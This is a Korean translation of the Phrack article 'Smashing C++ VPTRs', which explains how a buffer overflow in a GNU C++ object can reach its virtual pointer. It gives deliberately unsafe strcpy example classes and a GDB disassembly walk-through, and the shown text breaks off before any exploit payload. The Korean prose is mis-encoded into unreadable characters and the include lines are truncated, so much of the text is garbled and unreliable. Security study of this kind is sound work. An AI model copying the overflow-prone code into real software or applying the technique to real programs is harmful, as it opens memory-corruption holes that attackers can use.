- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x08[0x10] |----------------------------- SMASHING C++ VPTRS ----------------------------| |-----------------------------------------------------------------------------| |-------------------------- rix --------------------------| |-------------Translator : realdata --------------| |-------------------------------- KHDP / IGRUS -------------------------------| ----| Introduction ÃÖ±Ù ¸î³â°£, C·Î Â¥¿©Áø ÇÁ·Î±×·¥¿¡¼­ ¹öÆÛ¿À¹öÇ÷ο츦 ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ ³Î¸® ¾Ë·ÁÁø Å×Å©´ÐÀ¸·Î ¿ì¸®ÀÇ ÁÖÀǸ¦ À̲ø¾ú´Ù. ºñ·Ï C°¡ °¡Àå ³Î¸® ÆÛÁ® ÀÖÁö¸¸, ¿ì¸®´Â C++·Î Â¥¿©Áø ÇÁ·Î±×·¥µéµµ ¸¹ÀÌ º¸°Ô µÈ´Ù. ´ëºÎºÐ C°¡ ÇÒ ¼ö ÀÖ´Â °ÍµéÀ» C++·Îµµ ÇÒ ¼ö´Â ÀÖÁö¸¸, C++´Â ÁÖ·Î °´Ã¼ ÁöÇâÀÇ °³³äµéÀ» »ç¿ëÇϱ⠶§¹®¿¡ ¹öÆÛ¿À¹öÇ÷οì¿Í °ü·ÃµÈ »õ·Î¿î °¡´É¼ºÀ» ¿ì¸®¿¡°Ô Á¦½ÃÇÑ´Ù. ¿ì¸®´Â ÀÌ·¯ÇÑ °¡´É¼º Áß¿¡ Çϳª¸¦ C++ GNU ÄÄÆÄ ÀÏ·¯¿Í x86 Linux ȯ°æ¿¡¼­ ºÐ¼®ÇÒ °ÍÀÌ´Ù. ----| C++ Backgrounder C++¿¡¼­´Â methods¶ó°í ÇÏ´Â function°ú data memberµéÀ» Æ÷ÇÔÇÏ´Â ÇϳªÀÇ ±¸Á¶Ã¼ (structure)¸¦ class¶ó°í Á¤ÀÇÇÑ´Ù. ±×¸®°í, ÀÌ·¯ÇÑ classÀÇ definitionÀ» ±â¹ÝÀ¸ ·ÎÇÏ´Â variable¸¦ »ý¼º½Ãų ¼ö ÀÖ´Ù. (¿ªÀÚ ÁÖ : ÀÌ·¯ÇÑ variableÀ» reference variableÀ̶ó°í ÇÑ´Ù.) ÀÌ variableÀ» "object" Áï, °´Ã¼¶ó°í ÁöĪÇÑ´Ù. ¿¹¸¦ µé¾î, ¾Æ·¡¿¡ ³ª¿À´Â ÇÁ·Î±×·¥À» º¸ÀÚ. (bo1.cpp): #include #include class MyClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer, String); } void PrintBuffer() { printf("%s\n", Buffer); } }; void main() { MyClass Object; Object.SetBuffer("string"); Object.PrintBuffer(); } À§ ÇÁ·Î±×·¥¿¡¼­ 2°³ÀÇ methods¸¦ °¡Áø MyClass¶ó´Â class¸¦ Á¤ÀÇÇß´Ù: 1) SetBuffer() method¿¡¼­´Â, class ³»ºÎÀÇ ¹öÆÛ¸¦ ä¿ì´Â ¿ªÇÒÀ» ÇÑ´Ù (Buffer). 2) PrintBuffer() method´Â, ÀÌ ¹öÆÛÀÇ ³»¿ëÀ» Ãâ·ÂÇÑ´Ù. ±×¸®°í, MyClass¶ó´Â class¸¦ ±â¹ÝÀ¸·Î ÇÏ´Â Object °´Ã¼¸¦ Á¤ÀÇÇß´Ù. ¿ì¸®´Â strcpy() À» »ç¿ëÇÏ¿© Buffer¸¦ ä¿ì´Â ¸Å¿ì À§ÇèÇÑ(?) ¹æ¹ýÀ» »ç¿ëÇÏ´Â SetBuffer() method¸¦ ¹ß°ßÇßÀ» °ÍÀÌ´Ù. °ø±³·Ó°Ôµµ, À§ÀÇ ´Ü¼øÇÑ ¿¹¿¡¼­ °´Ã¼ ÁöÇâ ÇÁ·Î±×·¡¹ÖÀ» »ç¿ëÇÏ´Â °ÍÀÌ ¸¹Àº ÀÌÁ¡À» °¡Á®´Ù ÁÖ´Â °Íó·³ º¸ÀÌÁö ¾Ê´Â´Ù. ±×·¯³ª °´Ã¼ ÁöÇâ ÇÁ·Î±×·¡¹Ö¿¡¼­ ÀÚÁÖ »ç¿ëµÇ´Â inheritance mechanism (»ó¼Ó¼º)À» »ìÆ캻´Ù¸é °´Ã¼ ÁöÇâ ÇÁ·Î±×·¡¹ÖÀÇ ÀåÁ¡À» ¾Ë°Ô µÉ °ÍÀÌ´Ù. ¾Æ·¡ÀÇ ¿¹Á¦(bo2.cpp)¿¡¼­´Â inheritance mechanismÀ» ÀÌ¿ëÇÏ¿© Á¶±Ý ´Ù¸¥ PrintBuffer() methods¸¦ °®´Â 2°³ÀÇ classÀ» »ý¼º½Ãų °ÍÀÌ´Ù. #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; void main() { BaseClass *Object[2]; Object[0] = new MyClass1; Object[1] = new MyClass2; Object[0]->SetBuffer("string1"); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } ÀÌ ÇÁ·Î±×·¥Àº MyClass1,MyClass2¶ó´Â BaseClassÀÇ derivative(À¯µµ) class¸¦ »ý¼º ½ÃÄ×´Ù. À̵é 2°³ÀÇ class´Â PrintBuffer() methodÀÇ Ãâ·Â¿¡ ÀÖ¾î Â÷ÀÌ°¡ ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ÀÌ classµéÀº Ŭ·¡½º ³»ºÎ¿¡ PrintBuffer() methodÀ» °¡Áö°í ÀÖÁö¸¸, ¿ø·¡ BaseClassÀÇ PrintBuffer() method¸¦ È£ÃâÇÑ´Ù. ±× ´ÙÀ½À¸·Î, main() ÇÔ¼ö¿¡¼­ BaseClass¶ó´Â À̸§À» °¡Áø classÀÇ 2°³ °´Ã¼¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍÀÇ ¹è¿­À» Á¤ÀÇÇÏ¿´´Ù. 2°³ »ý¼ºµÈ °´Ã¼´Â °¢°¢ MyClass1, MyClass2 Ŭ·¡½ºÀÇ °´Ã¼ÀÌ´Ù. ±×¸®°í 2°³ÀÇ °´Ã¼ÀÇ SetBuffer(), PrintBuffer() methods¸¦ È£ÃâÇÑ´Ù. ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÑ °á°ú¸¦ »ìÆ캸ÀÚ: rix@pentium:~/BO> bo2 MyClass1: string1 MyClass2: string2 rix@pentium:~/BO> ¿©·¯ºÐµéÀº °´Ã¼ ÁöÇâ ÇÁ·Î±×·¡¹ÖÀÇ ÀÌÁ¡À» ¾Ë¾ÆÂ÷·ÈÀ» °ÍÀÌ´Ù. ¿ì¸®´Â ´Ù¸¥ 2°³ÀÇ class¿¡¼­ °°Àº PrintBuffer() method¸¦ È£Ãâ ÇÏ¿´´Ù! ÀÌ°ÍÀÌ ¹Ù·Î virtual(°¡»ó) methods¸¦ »ç¿ëÇÑ °á°úÀÌ´Ù. virtual methods´Â base(±âÃÊ) classÀÇ method¸¦ »õ·Ó °Ô Á¤ÀÇÇÒ ¼öµµ ÀÖ°í, derivative class³»¿¡¼­ (¸¸ÀÏ, base class°¡ ¿Ïº®È÷ Ãß»óÈ­ µÇ¾î ÀÖ´Ù¸é) base classÀÇ method¸¦ Á¤ÀÇÇÒ ¼ö ÀÖ´Ù. ¸¸ÀÏ ¿ì¸®°¡ virtualÀ̶ó´Â Å°¿öµå ¾øÀÌ method¸¦ ¼±¾ðÇÏ¿´´Ù¸é, ÀϹÝÀûÀ¸·Î ÄÄÆÄÀÏ·¯´Â ÄÄÆÄÀÏÇÒ ¶§ ÇÔ¼ö È£Ãâ À» °áÁ¤ÇÑ´Ù. À̸¦ "static binding" Áï, Á¤Àû °áÇÕÀ̶ó°í ÇÑ´Ù.(¿ªÀÚ ÁÖ : ¶§·Î´Â static bindingÀ» early binding(À̸¥ °áÇÕ)À̶ó°íµµ ÇÑ´Ù.) ÇÏÁö¸¸ À§ÀÇ ¿¹Á¦¿¡¼­ ´Â ÇÔ¼ö È£ÃâÀÌ Object[] ¹è¿­¿¡ ÀÖ´Â °´Ã¼ÀÇ Å¬·¡½º¿¡ ÀÇÁ¸Çϱ⠶§¹®¿¡ ÇÁ·Î±×·¥ÀÇ ½ÇÇà½Ã°£¿¡ ÇÔ¼ö È£ÃâÀ» °áÁ¤Çϱâ À§Çؼ­ ¿ì¸®´Â PrintBuffer() method¿¡ vitualÀÌ ¶ó´Â Å°¿öµå¸¦ ¼±¾ðÇؾ߸¸ ÇÑ´Ù. ÀÌ ¶§, ÄÄÆÄÀÏ·¯´Â dynamic binding(µ¿Àû °áÇÕ)À» »ç¿ëÇϸç, ½ÇÇà½Ã°£¿¡ ÇÔ¼öÈ£ÃâÀ» À§Çؼ­ ÁÖ¼Ò¸¦ ¹Ì¸® °è»êÇØ µÑ °ÍÀÌ´Ù. ----| C++ VPTR dynamic binding(µ¿Àû °áÇÕ) ¸ÞÄ¿´ÏÁò¿¡ ´ëÇؼ­ Á» ´õ ÀÚ¼¼ÇÑ ¹æ¹ýÀ¸·Î ºÐ¼®Çغ¸ÀÚ. BaseClass¶ó´Â ±âÃÊŬ·¡½º¿Í ÀÌ Å¬·¡½ºÀÇ derivative(À¯µµ) Ŭ·¡½ºÀÇ °æ¿ì¸¦ »ìÆì º¸ÀÚ. ÄÄÆÄÀÏ·¯´Â óÀ½¿¡ BaseClassÀÇ ¼±¾ðÀ» ÀÐ°Ô µÉ °ÍÀÌ´Ù. ÀÌ ¶§, BufferÀÇ ¼±¾ð¿¡ µû¶ó 32bytes¸¦ ¿¹¾à(reserves)ÇØ ³õÀ» °ÍÀÌ´Ù. ±×¸®°í´Â SetBuffer() method(not virtual)ÀÇ ¼±¾ðÀÌ ÄÄÆÄÀÏ·¯¿¡ ÀÇÇØ ÀÐÇôÁú¶§, SetBufffer() methodÀÇ ³»¿ëó·³, ´ëÀÀÇÏ´Â ¾îµå·¹½º¿¡ Á÷Á¢ÀûÀ¸·Î assign(´ëÀÔ)ÇÑ´Ù.(¿ªÀÚÁÖ: strcpy¿¡ ÀÇÇؼ­ Buffer ¿¡ Áý¾î ³Ö´Â °Í.) ¸¶Áö¸·À¸·Î PrintBuffer() method(virtual) ¼±¾ðÀ» Àд´Ù. ÀÌ °æ¿ì¿¡, static binding(Á¤Àû °áÇÕ) ´ë½Å, µ¿Àû°áÇÕÀ» ÇÏ°Ô µÈ´Ù. ±×¸®°í (pointer ¸¦ Æ÷ÇÔÇÏ´Â) 4bytes°¡ Ŭ·¡½º¾È¿¡ ¿¹¾à(reserves)µÈ´Ù. ¾Æ·¡ÀÇ ±¸Á¶¸¦ º¸ÀÚ. BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV Where: B ´Â BufferÀÇ byte¸¦ ³ªÅ¸³¿. V ´Â pointerÀÇ byte¸¦ ³ªÅ¸³¿. ÀÌ Æ÷ÀÎÅ͸¦ "VPTR"(Virtual Pointer)¶ó°í ºÎ¸£¸ç, ÀÌ Æ÷ÀÎÅÍ´Â ÇÔ¼öÀÇ Æ÷ÀÎÅÍ°¡ Æ÷ ÇÔµÈ ¹è¿­ÀÇ µµÀÔºÎ(entry)¸¦ °¡¸®Å²´Ù. ÇÔ¼öÀÇ Æ÷ÀÎÅÍ´Â (class¿¡ »ó´ëÀûÀ¸·Î) methods¸¦ °¡¸®Å²´Ù. ÇϳªÀÇ class¸¦ À§ÇØ ÇϳªÀÇ VTABLEÀÌ Á¸ÀçÇϸç, ¿©±â¿¡´Â ±× Ŭ·¡½ºÀÇ ¸ðµç methods¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ°¡ Æ÷ÇԵȴÙ. ¾Æ·¡¿¡ ³ª¿À´Â diagramÀ» º¸ÀÚ. Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV =+== | +------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW =+== | +------------------------------+ | +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ Where: B ´Â BufferÀÇ byte¸¦ ³ªÅ¸³¿. V ´Â VTABLE_MyClass1¸¦ °¡¸®Å°´Â VPTRÀÇ byte¸¦ ³ªÅ¸³¿. W ´Â VTABLE_MyClass2¸¦ °¡¸®Å°´Â VPTRÀÇ byte¸¦ ³ªÅ¸³¿. I ´Â ´Ù¾çÇÑ Á¤º¸¸¦ °¡Áö´Â byte¸¦ ³ªÅ¸³¿. P ´Â MyClass1ÀÇ PrintBuffer() method¸¦ °¡¸®Å°´Â pointerÀÇ byte¸¦ ³ªÅ¸³¿. Q ´Â MyClass2ÀÇ PrintBuffer() method¸¦ °¡¸®Å°´Â pointerÀÇ byte¸¦ ³ªÅ¸³¿. ¿¹¸¦ µé¾î, ¸¸¾à ¿ì¸®°¡ MyClass1 Ŭ·¡½ºÀÇ ¼¼¹ø° °´Ã¼¸¦ ¸¸µç´Ù¸é ´ÙÀ½°ú °°À» °ÍÀÌ´Ù: Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV ¿©±â¼­ VVVV´Â VTABLE_MyClass1À» °¡¸®Å°´Â Æ÷ÀÎÅÍÀÌ´Ù. ÀÚ ¿ì¸®´Â ¿©±â¼­ ¹«¾ùÀ» ¾Ë¼ö Àִ°¡? ¹Ù·Î ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸® ¾È¿¡¼­ ¿ì¸®ÀÇ ¹öÆÛ µÚ¿¡ VPTRÀÌ À§Ä¡ÇÑ´Ù´Â »ç½ÇÀÌ´Ù. strcpy()ÇÔ¼ö·Î¼­ ÀÌ ¹öÆÛ¸¦ °¡µæä¿î´Ù¸é, ¿ì¸®´Â ½±°Ô VPTR¿¡ µµ´ÞÇÒ ¼ö ÀÖ´Ù! NOTE: À©µµ¿ì ȯ°æ¿¡¼­ Å×½ºÆ® ÇØ º» °á°ú, Visual C++ 6.0Àº À§¿Í °°Àº ±â¹ýÀ» ¹æÁöÇϱâ À§Çؼ­ °´Ã¼°¡ ½ÃÀÛÇϴ óÀ½¿¡ VPTRÀ» ³õ¾Ò´Ù. ¹Ý¸é¿¡ GNU C++Àº °´Ã¼ÀÇ ³¡¿¡ VPTRÀ» À§ Ä¡½ÃÅ°¹Ç·Î ÀÌ·¯ÇÑ ±â¹ýÀÌ °¡´ÉÇÏ´Ù. ----| VPTR analysis using GDB ÀÌÁ¦ µð¹ö°Å¸¦ »ç¿ëÇÏ¿© Á»´õ Á¤È®ÇÑ ¿ø¸®¸¦ »ìÆ캸ÀÚ. À̸¦ À§Çؼ­, ¿ì¸®ÀÇ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÏ°í, GDB¸¦ ÀÛµ¿½ÃÅ°ÀÚ. rix@pentium:~/BO > gcc -o bo2 bo2.cpp rix@pentium:~/BO > gdb bo2 GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) 0x80485d3 : pushl $0x24 0x80485d5 : call 0x80487f0 <___builtin_new> 0x80485da : addl $0x4,%esp 0x80485dd : movl %eax,%eax 0x80485df : pushl %eax 0x80485e0 : call 0x8048660 <__8MyClass2> 0x80485e5 : addl $0x4,%esp 0x80485e8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80485ea : movl %eax,0xfffffffc(%ebp) 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp 0x80485fe : pushl $0x804892e 0x8048603 : movl 0xfffffffc(%ebp),%eax 0x8048606 : pushl %eax 0x8048607 : call 0x80486c0 0x804860c : addl $0x8,%esp 0x804860f : movl 0xfffffff8(%ebp),%eax 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx 0x8048621 : movl 0x4(%ebx),%edi 0x8048624 : call *%edi 0x8048626 : addl $0x4,%esp 0x8048629 : movl 0xfffffffc(%ebp),%eax 0x804862c : movl 0x20(%eax),%esi 0x804862f : addl $0x8,%esi ---Type to continue, or q to quit--- 0x8048632 : movswl (%esi),%eax 0x8048635 : movl %eax,%edx 0x8048637 : addl 0xfffffffc(%ebp),%edx 0x804863a : pushl %edx 0x804863b : movl 0x4(%esi),%edi 0x804863e : call *%edi 0x8048640 : addl $0x4,%esp 0x8048643 : xorl %eax,%eax 0x8048645 : jmp 0x8048650 0x8048647 : movl %esi,%esi 0x8048649 : leal 0x0(%edi,1),%edi 0x8048650 : leal 0xffffffec(%ebp),%esp 0x8048653 : popl %ebx 0x8048654 : popl %esi 0x8048655 : popl %edi 0x8048656 : movl %ebp,%esp 0x8048658 : popl %ebp 0x8048659 : ret 0x804865a : leal 0x0(%esi),%esi End of assembler dump. ºÐ¼®¸¦ ½ÃÀÛÇØ º¸ÀÚ. ¸îºÎºÐÀ¸·Î Àß¶ó¼­ ¿ì¸®ÀÇ main() ÇÔ¼ö¸¦ ´õ¿í ÀÚ¼¼ÇÑ ¹æ¹ýÀ¸·Î ¾Ë¾Æº¸ÀÚ. 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx ¿ì¸®ÀÇ ÇÁ·Î±×·¥Àº ½ºÅà ÇÁ·¹ÀÓÀ» ¸¸µé°í, Object[] ¹è¿­À» À§ÇÑ 8bytes¸¦ ½ºÅÿ¡ reserve ½ÃŲ´Ù. Object[]´Â index 0À» À§Çؼ­ %ebp ·¹Áö½ºÅÍÀÇ 0xfffffff8¿¡, index 1 À» À§Çؼ­ %ebp ·¹Áö½ºÅÍÀÇ 0xfffffffc¿¡ °¢°¢ 4bytes¾¿ µÎ°³ÀÇ Æ÷ÀÎÅ͸¦ ÀúÀåÇÑ °ÍÀÌ´Ù. ÀÌÈÄ¿¡´Â, À̵éÀÌ ´Ù¾çÇÑ ·¹Áö½ºÅÍ¿¡ ÀúÀåµÉ °ÍÀÌ´Ù. 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp À§¿¡¼­ ___builtin_newÀ» È£ÃâÇÏ¿´°í, Object[0]À» À§ÇØ heap¿¡ 0x24 (36 bytes)¸¸Å­ reserve½ÃÅ°°í, EAX ·¹Áö½ºÅÍ¿¡ reserveµÈ ÁÖ¼Ò¸¦ µÇµ¹·Á ÁØ´Ù. ¿©±â¼­ 36 bytes¸¦ ÅëÇØ ¾Ë ¼ö ÀÖµíÀÌ, ¹öÆÛ¸¦ À§ÇÑ °ø°£ÀÌ 32bytesÀÌ°í, ÀÌ ¹öÆÛ¸¦ µÚµû¶ó 4bytesÀÇ VPTRÀÌ ³õÀδÙ. 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp ÀÚ, EAX ·¹Áö½ºÅÍ¿¡ µé¾îÀÖ´ø objectÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ Ǫ½¬ÇÏ°í, __8MyClass1¸¦ È£ÃâÇÏ¿´ ´Ù. ½ÇÁ¦·Î, ÀÌ ÇÔ¼ö´Â MyClass1 Ŭ·¡½ºÀÇ constructor(»ý¼ºÀÚ)ÀÌ´Ù. C++¿¡¼­ ¸ðµç method´Â Ãß°¡·Î "secret" (¼û°ÜÁø) ÆĶó¸ÞÅ͸¦ Æ÷ÇÔÇÑ´Ù. ±× ÆĶó¸ÞÅÍ´Â method¸¦ ½ÇÁ¦·Î È£ÃâÇÑ °´Ã¼ÀÇ ÁÖ¼Ò¸¦ °®´Â´Ù("This" Æ÷ÀÎÅÍ). ÀÌÁ¦ ÀÌ constructor(»ý¼ºÀÚ)¸¦ ÀÚ¼¼È÷ »ìÆ캸ÀÚ: (gdb) disassemble __8MyClass1 Dump of assembler code for function __8MyClass1: 0x8048690 <__8MyClass1>: pushl %ebp 0x8048691 <__8MyClass1+1>: movl %esp,%ebp 0x8048693 <__8MyClass1+3>: pushl %ebx 0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx EBX ·¹Áö½ºÅÍ´Â 36bytes¸¸Å­ reservedµÈ °÷À» °¡¸®Å°´Â Æ÷ÀÎÅ͸¦ °¡Áø´Ù("This" pointer). 0x8048697 <__8MyClass1+7>: pushl %ebx 0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass> 0x804869d <__8MyClass1+13>: addl $0x4,%esp ¿©±â¼­, BaseClass Ŭ·¡½ºÀÇ »ý¼ºÀÚ¸¦ È£ÃâÇÏ¿´´Ù. (gdb) disass __9BaseClass Dump of assembler code for function __9BaseClass: 0x8048700 <__9BaseClass>: pushl %ebp 0x8048701 <__9BaseClass+1>: movl %esp,%ebp 0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx EDX ·¹Áö½ºÅÍ´Â 36bytes¸¸Å­ reservedµÈ °÷À» °¡¸®Å°´Â Æ÷ÀÎÅ͸¦ °¡Áø´Ù("This" pointer). 0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx) EDX+0x20 (=EDX+32)¿¡ À§Ä¡ÇÏ´Â 4bytes¿¡ $0x8048958 °ªÀ» ¹Þ´Â´Ù. ±×¸®°í, __9BaseClass ÇÔ¼ö´Â ´Ù¸¥ °÷¿¡ È®ÀåµÈ´Ù. ¸¸¾à¿¡ ÀÌ¿Í °°ÀÌ ÇÑ´Ù¸é: (gdb) x/aw 0x08048958 0x8048958 <_vt.9BaseClass>: 0x0 ¿©±â¼­ ¿ì¸®´Â EDX+0x20 ( reserved °´Ã¼ÀÇ VPTR )¿¡ ¾²¿©Áø °ªÀº BaseClass Ŭ·¡½ºÀÇ VTABLEÀÇ ¾îµå·¹½º¸¦ ¹ÞÀº °ÍÀ̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. MyClass1 Constructor(»ý¼ºÀÚ)ÀÇ ÄÚµå·Î ´Ù½Ã µ¹¾Æ°¡¼­ º¸¸é: 0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx) EBX+0x20 (VPTR) ¿¡ 0x8048948¶ó´Â °ªÀÌ ¾²¿©Á³´Ù. ¾Õ¿¡¼­¿Í °°ÀÌ, ÇÔ¼ö°¡ ´Ù¸¥°÷¿¡ È®ÀåµÈ °ÍÀÌ´Ù. ÀÚ ´ÙÀ½À» º¸ÀÚ: (gdb) x/aw 0x08048948 0x8048948 <_vt.8MyClass1>: 0x0 VPTRÀÌ µ¤¾î ½áÁö°í, ±×°÷¿¡ MyClass1 Ŭ·¡½ºÀÇ VTABLE ÁÖ¼Ò¸¦ ¹Þ´Â´Ù. main() ÇÔ¼ö¿¡¼­ ´Â ¸Þ¸ð¸®¿¡ ÇÒ´çµÈ °´Ã¼¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ(EAX¿¡ ÀÖ´Â)¸¦ µÇµ¹·Á ¹Þ´Â´Ù. 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) This Æ÷ÀÎÅÍ°¡ Object[0]¿¡ ³õÀδÙ. ±×¸®°í, ÇÁ·Î±×·¥Àº Object[1]¿¡ ´ëÇؼ­µµ À§¿Í °°Àº ¸ÞÄ¿´ÏÁòÀ» »ç¿ëÇÑ´Ù. ´Ü¼øÈ÷ ¾îµå·¹½º¸¸ ´Ù¸£°Ô »ç¿ëÇÏ´Â °ÍÀÌ´Ù. °á±¹ initialization( ÃʱâÈ­)°¡ ³¡³ª°í, ´ÙÀ½¿¡ ³ª¿À´Â ¸í·ÉÀÌ ½ÇÇàµÈ´Ù: 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax ¿©±â¼­ º¸¸é, ½ºÅÿ¡ 0x8048926À̶ó´Â ¾îµå·¹½º »Ó¸¸ ¾Æ´Ï¶ó Object[0]ÀÇ °ª("This" pointer)µµ stack¿¡ ÀúÀåÇÑ´Ù. 0x8048926À̶ó´Â ÁÖ¼Ò¸¦ »ìÆ캸¸é: (gdb) x/s 0x08048926 0x8048926 <_fini+54>: "string1" ÀÌ ¾îµå·¹½º°¡ BaseClass¶ó´Â Ŭ·¡½ºÀÇ SetBuffer() ÇÔ¼ö¿¡ ÀÇÇؼ­ buffer¿¡ ½è´ø "string1" ÀÌ ÀúÀåµÈ °÷À̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp À§¿¡¼­ BaseClassÀÇ SetBuffer() method¸¦ È£ÃâÇÏ¿´´Ù. ÀÌ°ÍÀº SetBuffer method¸¦ È£ÃâÇÏ´Â °ÍÀÌ static binding (Á¤Àû °áÇÕ)À̶ó´Â °ÍÀ» º¸¿©Áشٴ Á¡¿¡¼­ °ü½ÉÀ» °¡Áú¸¸ÇÏ´Ù. °°Àº ¿ø¸®°¡ Object[1]ÀÇ SetBuffer() method¿¡ ´ëÇؼ­µµ Àû¿ëµÈ´Ù. run time(½ÇÇà½Ã°£)¿¡ µÎ °´Ã¼°¡ Á¤È®È÷ ÃʱâÈ­µÇ´ÂÁö ¾Ë¾Æº¸±â À§Çؼ­, ¾Æ·¡¿Í °°Àº breakpoints¸¦ Á¤Çغ¸ÀÚ: 0x80485c0: ù¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ¾ò±â À§ÇÑ Breakpoint. 0x80485da: µÎ¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ¾ò±â À§ÇÑ Breakpoint. 0x804860f: °´Ã¼µéÀÇ ÃʱâÈ­°¡ Àß ÀÌ·ç¾îÁ³´Â°¡ ¾Ë¾Æº¸±â À§ÇÑ Breakpoint. (gdb) break *0x80485c0 Breakpoint 1 at 0x80485c0 (gdb) break *0x80485da Breakpoint 2 at 0x80485da (gdb) break *0x804860f Breakpoint 3 at 0x804860f Breakpoint¸¦ Àâ¾ÆÁÖ°í, ÇÁ·Î±×·¥À» ½ÇÇàÇϸé: Starting program: /home/rix/BO/bo2 Breakpoint 1, 0x80485c0 in main () EAXÀÇ ³»¿ëÀ» º»´Ù¸é, ù¹ø° °´Ã¼ÀÇ ÁÖ¼Ò°¡ µé¾î°¡ ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù: (gdb) info reg eax eax: 0x8049a70 134519408 ´ÙÀ½ÀÇ breakpoint·Î ÇâÇؼ­ ´Þ·Á°¡ º¸ÀÚ: (gdb) cont Continuing. Breakpoint 2, 0x80485da in main () À̹ø¿¡´Â µÎ¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ¾Ë ¼ö ÀÖ´Ù: (gdb) info reg eax eax: 0x8049a98 134519448 constructor(»ý¼ºÀÚ)¿Í SetBuffer() method¸¦ À̾ ½ÇÇà½ÃÄÑ º¸ÀÚ: (gdb) cont Continuing. Breakpoint 3, 0x804860f in main () ¸Þ¸ð¸®»ó¿¡ µÎ °´Ã¼°¡ À̾ À§Ä¡ÇØ ÀÖ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.(0x8049a70°ú0x8049a98) ±×·¯³ª, 0x8049a98 - 0x8049a70 = 0x28À̶ó´Â °ÍÀº ù¹ø° °´Ã¼¿Í µÎ¹ø° °´Ã¼ »çÀÌ¿¡ 4bytes°¡ »ðÀԵǾî ÀÖ´Ù´Â °ÍÀ» °¡¸®Å²´Ù. ÀÌ 4bytes¿¡ ´ëÇÑ Á¤º¸¸¦ ¾Ë¾Æº¸¸é: (gdb) x/aw 0x8049a98-4 0x8049a94: 0x29 0x29¶ó´Â °ªÀÌ µé¾îÀÖÀ½À» º¸°ÔµÈ´Ù. ±×¸®°í µÎ¹ø° °´Ã¼¿¡¼­µµ ÀÌ Æ¯Á¤ÇÑ 4bytes¸¦ º¸¸é: (gdb) x/xb 0x8049a98+32+4 0x8049abc: 0x49 Áö±Ý ÃʱâÈ­µÈ ¿ì¸®ÀÇ °´Ã¼ °¢°¢ÀÇ ³»ºÎ ±¸Á¶¸¦ °£´ÜÇÑ ¹æ¹ýÀ¸·Î »ìÆì º¼ ¼ö ÀÖ´Ù: (gdb) x/s 0x8049a70 0x8049a70: "string1" (gdb) x/a 0x8049a70+32 0x8049a90: 0x8048948 <_vt.8MyClass1> (gdb) x/s 0x8049a98 0x8049a98: 